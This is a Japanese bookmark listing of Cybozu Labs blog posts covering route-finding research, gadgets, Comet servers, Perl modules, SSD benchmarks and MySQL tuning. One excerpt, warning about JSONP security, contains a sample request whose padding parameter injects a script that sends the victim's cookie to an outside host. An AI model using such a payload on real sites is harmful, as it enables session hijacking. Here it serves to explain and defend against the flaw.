タグ

ブックマーク / labs.cybozu.co.jp (36)

  • 最短距離ではなく「最も美しい」や「最も楽しい」道順を表示する研究

    スペイン、バルセロナのヤフー研究所が発表した研究は、地図上で道順を示す時に、「一番早い」ルートではなく、「一番美しい」ルートや「一番幸せな」ルートなどを表示するという技術です。 出発地点と目的地を入力すると道順を表示して […] スペイン、バルセロナのヤフー研究所が発表した研究は、地図上で道順を示す時に、「一番早い」ルートではなく、「一番美しい」ルートや「一番幸せな」ルートなどを表示するという技術です。 出発地点と目的地を入力すると道順を表示してくれる、というのはオンラインの地図サービスでは普通の機能となってきています。車、電車、歩いていくなどの手段に合わせた道順表示も選べますが、ほとんどの場合、表示されるのは「最も早いルート」でしょう。 渋滞情報と組み合わせた「今一番早くつけそうなルート」や、坂道情報と合わせて「自転車で楽なルート」などというのも出来ていますが、今回の研究では、ロンドンや

    最短距離ではなく「最も美しい」や「最も楽しい」道順を表示する研究
    mainyaa
    mainyaa 2014/07/18
    クラウドソーシングで美しい風景の道順を導いたりFlickrから写真の位置情報からポジティブな場所を導く。素敵な研究
  • シャープが作ったデジタルまな板

    ヨーロッパにあるシャープの研究所が、アイデアコンテストで受賞したコンセプトを実際に作ってしまった、というのが、こちらの全面液晶まな板+秤デバイス Chop-Syc です。 ほとんど説明不要かと思いますが、その上で包丁を使 […] ヨーロッパにあるシャープの研究所が、アイデアコンテストで受賞したコンセプトを実際に作ってしまった、というのが、こちらの全面液晶まな板+秤デバイス Chop-Syc です。 ほとんど説明不要かと思いますが、その上で包丁を使っても大丈夫なくらい頑丈な、大きな防水タブレットということですね。 タブレットでレシピを検索して、それを見ながら料理をする人、というのも最近は増えているのではないかと思いますが、このiまな板なら、タブレットの置き場を作ったり、タブレットに水などが掛からないよう気を配ったりする必要もないわけです。 計量はかりの機能もついているので、まな板で検索したレ

    シャープが作ったデジタルまな板
    mainyaa
    mainyaa 2013/10/28
    ネタがネタじゃなくなる日が来たのか
  • 飛行機発明前の紙飛行機の呼び方

    飛行機が発明される前、紙飛行機は何と呼ばれていたのでしょう? 電話が発明される前の糸電話の呼称も気になります。 — 安眠練炭 (@aNmiNreNtaN) June 8, 2013 こんなツイートがRTで流れ […] 飛行機が発明される前、紙飛行機は何と呼ばれていたのでしょう? 電話が発明される前の糸電話の呼称も気になります。 — 安眠練炭 (@aNmiNreNtaN) June 8, 2013 こんなツイートがRTで流れてきました。「飛行機が発明される前、紙飛行機は何と呼ばれていたのでしょう?」 考えたこともなかったですが、これ面白い疑問ですね。飛行機がなければ紙飛行機と呼ぶはずもないので、何かしら名前があったはず。 英語でいろいろ検索したのですが、なんとか見つけたのは、比較的質が良いといわれている英語のQアンドAサービスQuora。 # Quoraについては個人ブログの方でこんなことを

    飛行機発明前の紙飛行機の呼び方
    mainyaa
    mainyaa 2013/07/05
  • HttpsとTorで守れるデータ、守れないデータ – 電子フロンティア財団(EFF)の作成した図の読み方

    HttpsとTorで守れるデータ、守れないデータ – 電子フロンティア財団(EFF)の作成した図の読み方 電子フロンティア財団が作った、HTTPSとTorを使った時に通信の何が守られるのかを表すダイナミック・チャートがよくできています。 図の登場人物に日語の訳をつけてみましたが、リンク先で実際に左上の「HTTPS」と「To […] 電子フロンティア財団が作った、HTTPSとTorを使った時に通信の何が守られるのかを表すダイナミック・チャートがよくできています。 図の登場人物に日語の訳をつけてみましたが、リンク先で実際に左上の「HTTPS」と「Tor」をオン・オフしてみて、httpsやTorでwebサービスにアクセスすることで、インターネットの途中の通信路にアクセスできる第三者に対して、あるいはアクセス先のwebサービスのサーバにアクセスできる人に対して、何を隠すことができるのか、を見る

    HttpsとTorで守れるデータ、守れないデータ – 電子フロンティア財団(EFF)の作成した図の読み方
  • OrCam – 視覚障害者のためのGlassデバイス

    イスラエルのオアカム社が販売を始めた同名のメガネ型デバイス OrCam は、視覚障害を持つ人をターゲットとした新ガジェットです。 メガネに取り付けられたカメラと、そこに有線で接続された小さなコンピューターを使い、カメラが […] イスラエルのオアカム社が販売を始めた同名のメガネ型デバイス OrCam は、視覚障害を持つ人をターゲットとした新ガジェットです。 メガネに取り付けられたカメラと、そこに有線で接続された小さなコンピューターを使い、カメラが映した画像や文字を読み上げることによって、視覚障害者の生活を補助する、というものです。 オアカム社の社員で、先天性の視力障害を持つ社員Liatさんが、街中やカフェ、スーパーマーケットで実際に OrCam を使っている動画が公開されています。 OrCamは、学習無しに簡単に使い始められることを目指していて、カメラに映っている前方を指で指すだけで各機能

    OrCam – 視覚障害者のためのGlassデバイス
    mainyaa
    mainyaa 2013/06/17
    こういう使い方もあるのか
  • フェイスブックCEOマーク・ザッカーバーグ15歳時作成のホームページらしきものが発見される

    フェイスブックを作った男、マーク・ザッカーバーグ氏が、1999年、15歳の時に公開していたとおぼしきウェブサイトが見つかったというニュースです。 アメリカの無料ウェブページ公開サービスAngelfireに置かれて、今でも […] フェイスブックを作った男、マーク・ザッカーバーグ氏が、1999年、15歳の時に公開していたとおぼしきウェブサイトが見つかったというニュースです。 アメリカの無料ウェブページ公開サービスAngelfireに置かれて、今でも開くことができる手製のページ(閲覧注意)が、状況証拠しかないですが氏人が作って公開した可能性が非常に高いとして、HackerNewsで報告されています。 この「マークのホームページ」は、トップには踊るサイト名とまばたきする不気味な目のJavaアプレットが置いてあり、また、サブページではいくつかの自作プログラムが公開されています。 自己紹介ページに

    フェイスブックCEOマーク・ザッカーバーグ15歳時作成のホームページらしきものが発見される
    mainyaa
    mainyaa 2013/04/05
  • Kazuho@Cybozu Labs: Comet の正しい使い方

    « 「スーパー技術者争奪戦」 | メイン | JavaScript から Flash の便利な機能を使う方法 » 2007年02月23日 Comet の正しい使い方 今日会社の勉強会で Comet について話す機会がありました。 Comet については、普及するかどうかという以前に、どう使えばいいのか、正しく使った場合に何をどこまでできるのか、という理解が共有されていないように思います。なので、(あくまで私見ですが) 使用したスライドの一部を公開したいと思います。よろしければごらんください。また、問題や改善すべき点があれば、教えていただければ幸いです。

  • PHP Stompライブラリを呼び出す消費者スクリプトを書く | 秋元@サイボウズラボ・プログラマー・ブログ

    消費側はこんな感じで。 <?php /** キューの消費側サンプル */ // ライブラリ読み込み require_once 'Stomp.php'; // ローカルホストのStompサーバに接続 $connection = new StompConnection("localhost"); // TBA: エラー処理。ライブラリ中でdieしてるのでライブラリも要修正 // 接続パスワードは今は何でも通し $handler = $connection->connect("akky", "dummypassword"); // TBA: エラー処理 //print_r($handler); // キューの識別子を与えて、メッセージを受ける $connection->subscribe("/queue/miaumiau"); // 無限ループで受信を続ける while (true) { //

  • Kazuho@Cybozu Labs: SSD (フラッシュメモリ) のベンチマークと選定基準

    ベンチマークに使用したのは、一般的な HDD、高速性で有名な Intel の SSD、ネットブック (DELL Inspiron Mini 9) の内蔵 SSD (STEC 製, 32GB)、および SanDisk の SDHC カード (SanDisk Extreme III) です注。 この表を見て2つの SSD を比較すると、読み込みパフォーマンスの差がそれほど大きくないことに気づきます。また、SD カードの読み込み速度も、HDD を大きく上回っています。つまり、ランダムリードについては、メーカーや SSD 間の差は、あまり大きくない、ということになります。 一方で、書き込みパフォーマンスについては、非常に大きな差があります。X25-M と STEC の SSD の差は、実に 50 倍にのぼります (SSD の書き込みバッファをオフにした場合の値はこちらの表を参照のこと)。また、SD

  • Kazuho@Cybozu Labs: Text::MicroTemplate - テンプレートエンジンのセキュリティと利便性

    « MySQL の order by 〜 limit を高速化する方法 | メイン | MySQL Conference & Expo 2009 で Q4M の話をします » 2008年12月16日 Text::MicroTemplate - テンプレートエンジンのセキュリティと利便性 先月開催された Shibuya.pm #10 でプレゼンテーションがあった MENTA や NanoA では、Mojo 由来のテンプレートエンジンを拡張して使用してきたのですが、Perl モジュールとして独立させるべきだよね、ということになり、このたび Text::MicroTemplate として CPAN にアップロードしました。 そのことを告知するとともに、作業の過程で興味深く感じた、テンプレートエンジンのセキュリティと利便性に関する話題をブログに書いておこうと思います。 テンプレートエンジンのエスケ

  • Kazuho@Cybozu Labs: なぜサイボウズ・ラボで働くのか

    « ウェブサービスの SSD 化について話してきました | メイン | MySQL の order by 〜 limit を高速化する方法 » 2008年12月08日 なぜサイボウズ・ラボで働くのか 12月6日に大阪で開催されたサイボウズの採用説明会で、話をさせていただきました。大学生の方々向けということで、あまり技術面に振ったプレゼンをするのもどうかと悩んだ末、自分が、なぜサイボウズ・ラボで働いているのか、ということを、大学生の頃から振り返ってみることにしました。 ふだん、しなれていない類いの話なので、うまく伝わったか、正直不安です。ただ、自分自身にとっては、何が好きなのか、何がやりたいのか、ということを改めて見つめ直すいい機会になりました。また、来場者の方々といろいろ話をできたことも、自分にとっていい刺激になったと感じています。 ですので、ご来場いただいた方々には、サイボウズに興味をも

    mainyaa
    mainyaa 2008/12/08
  • Kazuho@Cybozu Labs: ウェブサービスにおける SSD 導入にむけて〜検索サービスの可能性

    « Filter::SQL でデータベースを叩くワンライナーを簡単に書く方法 | メイン | ウェブサービスにおけるダメージコントロール (MySQL のスロークエリを自動的に kill する方法) » 2008年10月28日 ウェブサービスにおける SSD 導入にむけて〜検索サービスの可能性 実際に試してみた結果については、ウェブサービスの SSD 化について話してきましたをご参照ください。 検索エンジンや小さな行が多いデータベース等で使用する目的での SSD (Intel X25-M) のベンチマーク結果については、Kazuho at Work: Benchmarking SSD for MySQL をご覧ください (InnoDB の話をしていますが、Senna / Tritonn でも基的に同じ) Sun が SSD 製品の投入を表明 (マイコミジャーナル) したり、Google

  • Kazuho@Cybozu Labs: 実行時間を抑制するモジュール Sub::Throttle を書いた

    « 最適化された最適化手法について | メイン | Q4M バージョン 0.8 をリリースしました » 2008年08月04日 実行時間を抑制するモジュール Sub::Throttle を書いた Sub::Throttle という、実行時間を指定した割合に抑制するモジュールを作りました。実装としては、関数の実行後に適切な時間の sleep を挿入する形になっているので、下のようにループの実行中に挿む形で使うことになります。 # 使用前 for (...) { ... } # 使用後 (負荷を 0.1=10% に抑制) use Sub::Throttle qw/throttle/; for (...) { throttle( 0.1, sub { ... }, ); } Pathtraq の場合は、Disk I/O を引き起こすようなタスクについて、その負荷を抑えるために使用しています。

    mainyaa
    mainyaa 2008/08/05
  • Kazuho@Cybozu Labs: Q4M Version 0.4 で高速なクローラを書いてみた

    « Parallel::Prefork - Perl でマルチプロセスなサーバを書く方法 | メイン | Japanize for IE バージョンアップのおしらせ » 2008年04月07日 Q4M Version 0.4 で高速なクローラを書いてみた 日、MySQL 5.1 のプラガブルストレージエンジンとして動作するメッセージキューQ4M のバージョン 0.4 をリリースしました。バージョンでは、条件付購読 (conditional subscription) という、特定の条件を満たす行だけをメッセージキューから読み込む機能に対応したのですが、これを使って、クローラを書いてみました。 使い方は以下のとおりです。 # url テーブルを作成 % mysql -p test mysql> CREATE TABLE url ( id int(10) unsigned NOT NULL

    mainyaa
    mainyaa 2008/04/07
    メッセージキューを使うことで、高速なクローラを簡潔に、きれいに実装できる
  • Kazuho@Cybozu Labs: Parallel::Prefork - Perl でマルチプロセスなサーバを書く方法

    « Q4M (Queue for MySQL) 0.3 リリース | メイン | Q4M Version 0.4 で高速なクローラを書いてみた » 2008年04月04日 Parallel::Prefork - Perl でマルチプロセスなサーバを書く方法 Perl でマルチプロセス処理を行う場合は Parallel::ForkManager を使うというのが定番かと思います。しかし、このモジュールはシグナル処理を前提とした作りになっていない注1ため、シグナルを受信するまで動き続けるようなサーバを書きづらい、という問題がありました。 そこで、Parallel::ForkManager の API は、ほぼそのままに、シグナル処理が可能なプロセス管理モジュールを作ることにしました。それが Parallel::Prefork です。Parallel::Prefork を使うことで、Gracef

    mainyaa
    mainyaa 2008/04/04
  • Kazuho@Cybozu Labs: 高速なCometサーバを書いてみた件

    « Pathtraq 最新ランキング ガジェットを公開しました | メイン | Q4M (Queue for MySQL) 0.3 リリース » 2008年03月10日 高速なCometサーバを書いてみた件 もう昨年の2月になりますが、Comet について調査を行いました。その際の成果をまとめたスライドは既に公開していた (Comet の正しい使い方) のですが、同時に実際に作ってみた実装についても、オープンソース化することとなりました。コードは CodeRepos に置いておきますので、どうぞご覧ください。 (Revision 7754: /lang/perl/fastr) 使い方は example ディレクトリ以下を見ていただくとして、ベンチマークの結果とチューニング手法について、記録と記憶に残っている範囲からまとめておきたいと思います。 パフォーマンスについて まず、パフォーマンスに

  • Kazuho@Cybozu Labs: JavaScript/1.7 で協調的マルチスレッド

    « Japanize - ウェブサイトの高速化 | メイン | Japanize が Firefox にフィッシングサイト扱いされている件について » 2007年05月25日 JavaScript/1.7 で協調的マルチスレッド JavaScript/1.7 の話なので Firefox 限定です。以前、 残念ながら、JavaScript には非同期メッセージを同期化する方法はない!残念!><ほんとに残念! JavaScript 1.7 なら yield でできるんじゃないかと思いました。 Kazuho@Cybozu Labs: JavaScript で非同期処理 と書いたっきり失念していたのですが、社内で話題になったので実装してみました。こんな感じです。 function runnable(f) { var o; o = f(function () { o.next(); }); o.ne

  • Kazuho@Cybozu Labs: JSONP - データ提供者側のセキュリティについて

    « E4X-XSS 脆弱性について | メイン | 「スーパー技術者争奪戦」 » 2007年01月12日 JSONP - データ提供者側のセキュリティについて JSONP のセキュリティは、ともすればインクルードする側についての議論になりがちであり、その影でインクルードされる側のリスクが見過ごされがちです。JSONP の使用にあたっては、データ提供者への XSS に注意する必要があります。脆弱な例としては、以下のようなものがあります。 GET /json.cgi/append.html?padding=%3Cscript%3Elocation='http://example.jp/'%2Bdocument.cookie%3C/script%3E HTTP/1.0 Host: example.com HTTP/1.0 200 OK Content-Type: text/javascript;

  • Kazuho@Cybozu Labs: Re: SessionSafe: Implementing XSS Immune Session Handling

    « キーワード抽出のススメ (Lingua::JA::Summarize がアップデート) | メイン | Japanize 拡張機能バージョン 0.8 リリースのおしらせ » 2007年03月28日 Re: SessionSafe: Implementing XSS Immune Session Handling SessionSafe というウェブアプリケーションの実装方式が提案されていることを知りました (via. T.Teradaの日記) 。要点をまとめると、3種類の手法を組み合わせることで、XSS 脆弱性があったとしても、同一サービスの他のページの詐取を防止しようという試み。 1) セッションID管理専用のサブドメイン 2) XSS から窃取・改ざんできない URL 3) ページごとにサブドメインを切り替える で、提案者が「議論するんじゃなくて攻撃してみてよ :)」とおっしゃって

  • Kazuho@Cybozu Labs: MySQL のウォームアップ (InnoDB編)

    « DBIx::Printf と LIKE 式 | メイン | メッセージキュー事始め in Perl - コマンドラインクライアントを作ってみた » 2007年10月11日 MySQL のウォームアップ (InnoDB編) サーバの起動直後はデータがメモリ上にないためデータベースの応答速度が遅い、というのは良く知られた話かと思います。MySQL の場合、使っているエンジンが MyISAM であれば、各データファイルをあらかじめ cat ... > /dev/null するなりしてバッファキャッシュに載せておけばいいのですが、InnoDB は独自のキャッシュを持っているのでそういうわけにもいかないように思います。 具体的には、パフォーマンスを最大限発揮するためには OS のキャッシュにではなく、InnoDB のバッファプールにデータをロードすべきであるという点。それに、たとえ OS のキャ

    mainyaa
    mainyaa 2007/12/13
    サーバー起動直後にInnoDBをキャッシュに乗せる方法